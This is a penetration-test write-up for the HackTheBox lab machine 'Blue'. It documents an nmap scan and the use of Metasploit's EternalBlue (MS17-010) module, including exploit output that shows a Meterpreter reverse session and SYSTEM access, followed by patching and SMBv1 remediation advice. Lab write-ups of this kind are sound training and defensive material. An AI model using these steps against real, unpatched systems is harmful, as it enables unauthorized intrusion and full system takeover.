Penetration Test Report for HackTheBox's "Blue"

Report Prepared By: Matthew Holt

Table of Contents

1 Executive Summary

This penetration test report provides a detailed account of a security assessment conducted on HackTheBox's vulnerable machine, "Blue." The purpose of this assessment was to identify potential vulnerabilities and demonstrate the exploitation process to gain unauthorized access. During the test, a critical vulnerability, MS17-010 (EternalBlue), was identified in the SMB service running on Windows 7 Service Pack 1. This vulnerability was successfully exploited, resulting in full system compromise with NT AUTHORITY/SYSTEM privileges.

Key findings indicate a significant security flaw that could be leveraged by malicious actors to gain complete control over vulnerable systems. The report includes recommendations for mitigating this risk, emphasizing the importance of regular patch management, disabling outdated protocols, and enhancing network defenses. The steps and techniques demonstrated in this report reflect a comprehensive approach to identifying and exploiting security weaknesses, showcasing both technical proficiency and an understanding of real-world cybersecurity threats.

2 Report Introduction

This report details my penetration testing efforts conducted on HackTheBox's vulnerable machine titled "Blue." The primary goal of this assessment was to demonstrate my penetration testing methodologies and technical knowledge in identifying, exploiting, and mitigating security vulnerabilities in a controlled environment. The findings in this report outline the steps taken to compromise the target system and provide recommendations for improving the security posture of similarly vulnerable systems.

3 Scope

The penetration test was conducted against the HackTheBox machine "Blue," a deliberately vulnerable virtual machine designed to simulate a real-world scenario. The objective was to identify vulnerabilities and exploit them to gain unauthorized access to the system.

3.1 Assets In Scope

Host/URL/IP Address	Description
10.129.7.155	IPv4 address for machine "Blue"

4 Methodologies

The following steps outline the methodology that I used to identify and exploit vulnerabilities in the target machine:

4.1 Network Scanning

I conducted a comprehensive network scan using *nmap* to identify open ports and services.

- Command used: nmap -A -T5 --min-rate=5000 -p- 10.129.7.155 -oN nmap_full_scan

```
Nmap scan report for 10.129.7.155
Host is up (0.11s latency).
Not shown: 65368 filtered tcp ports (no-response), 164 closed tcp ports (conn-refused)
PORT    STATE SERVICE    VERSION
135/tcp open  tcpwrapped
139/tcp open  tcpwrapped
445/tcp open  tcpwrapped Windows 7 Professional 7601 Service Pack 1 tcpwrapped

Host script results:
| smb2-time:
|   date: 2024-08-29T22:55:32
|_  start_date: 2024-08-29T22:52:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-08-29T23:55:34+01:00
|_clock-skew: mean: -19m53s, deviation: 34m35s, median: 4s
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
```

Results revealed port 445 (SMB) open and displaying operating system information, indicating a potential vulnerability.

4.2 Vulnerability Identification

Based on the nmap results, I conducted additional research for known vulnerabilities related to SMB on Windows 7 SP1.

As a result of this research, I identified a critical vulnerability, MS17-010 (EternalBlue), which is known to allow remote code execution on the target system.

Additionally, I identified a publicly available proof of concept exploit that can be utilized via the Metasploit Framework.

4.3 Exploit Development and Execution

I launched the Metasploit framework (msfconsole) to exploit the identified vulnerability and selected the following exploit module: exploit/windows/smb/ms17_010_eternalblue.

I configured the module with the Blue's IP (RHOST) and my Op Station IP (LHOST) and executed the exploit to gain unauthorized access to the target.

4.4 Post-Exploitation

As a result of running the exploit, I had successfully obtained a Meterpreter session with NT AUTHORITY/SYSTEM privileges, indicating full control over the target machine.

```
[*] 10.129.7.155:445 - Connecting to target for exploitation.
[+] 10.129.7.155:445 - Connection established for exploitation.
[+] 10.129.7.155:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.7.155:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.7.155:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.7.155:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.7.155:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.129.7.155:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.7.155:445 - Trying exploit with 17 Groom Allocations.
[*] 10.129.7.155:445 - Sending all but last fragment of exploit packet
[*] Sending stage (201798 bytes) to 10.129.7.155
[*] 10.129.7.155:445 - Starting non-paged pool grooming
[+] 10.129.7.155:445 - Sending SMBv2 buffers
[*] Meterpreter session 2 opened (10.10.16.29:4444 -> 10.129.7.155:49159) at 2024-08-29 19:18:57 -0400
[+] 10.129.7.155:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.7.155:445 - Sending final SMBv2 buffers.
[*] 10.129.7.155:445 - Sending last fragment of exploit packet!
[*] 10.129.7.155:445 - Receiving response from exploit packet
[-] 10.129.7.155:445 - Did not receive a response from exploit packet
[*] 10.129.7.155:445 - Sending egg to corrupted connection.
[*] 10.129.7.155:445 - Triggering free of corrupted buffer.
[+] 10.129.7.155:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.7.155:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.7.155:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > sysinfo
Computer        : HARIS-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

5 Findings

Vulnerability Identified: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

Severity: Critical

Vulnerability Description: A critical vulnerability in the SMBv1 protocol on Windows systems, which allows remote attackers to execute arbitrary code with elevated privileges due to improper handling of crafted packets.

Vulnerability Fix: Download and install the official security update from Microsoft that addresses the MS17-010 vulnerability. This update is included in Microsoft

Security Bulletin MS17-010. For Windows 7 SP1 and other affected versions, the patch can be downloaded directly from the Microsoft Update Catalog.

5.1 Impact

Remote code execution with NT AUTHORITY/SYSTEM privileges, allowing complete control over the target system.

6 Recommendations

Recommendation	Description
Patch Management	Ensure all systems are regularly updated with the latest security patches. In this case, MS17-010 should be patched immediately to prevent exploitation.
Network Segmentation	Implement network segmentation to limit exposure of critical systems and services.
Disable SMBv1	SMBv1 is outdated and vulnerable, it should be disabled across all systems.
Intrusion Detection and Prevention	Utilize intrusion detection and prevention systems to monitor and block malicious activity targeting SMB and other critical services.

7 Conclusions

The penetration test successfully demonstrated the ability to identify and exploit a critical vulnerability in a simulated environment. The steps outlined in this report showcase a methodical approach to vulnerability assessment and exploitation, underscoring the importance of regular patch management and proactive security measures to protect against real-world threats.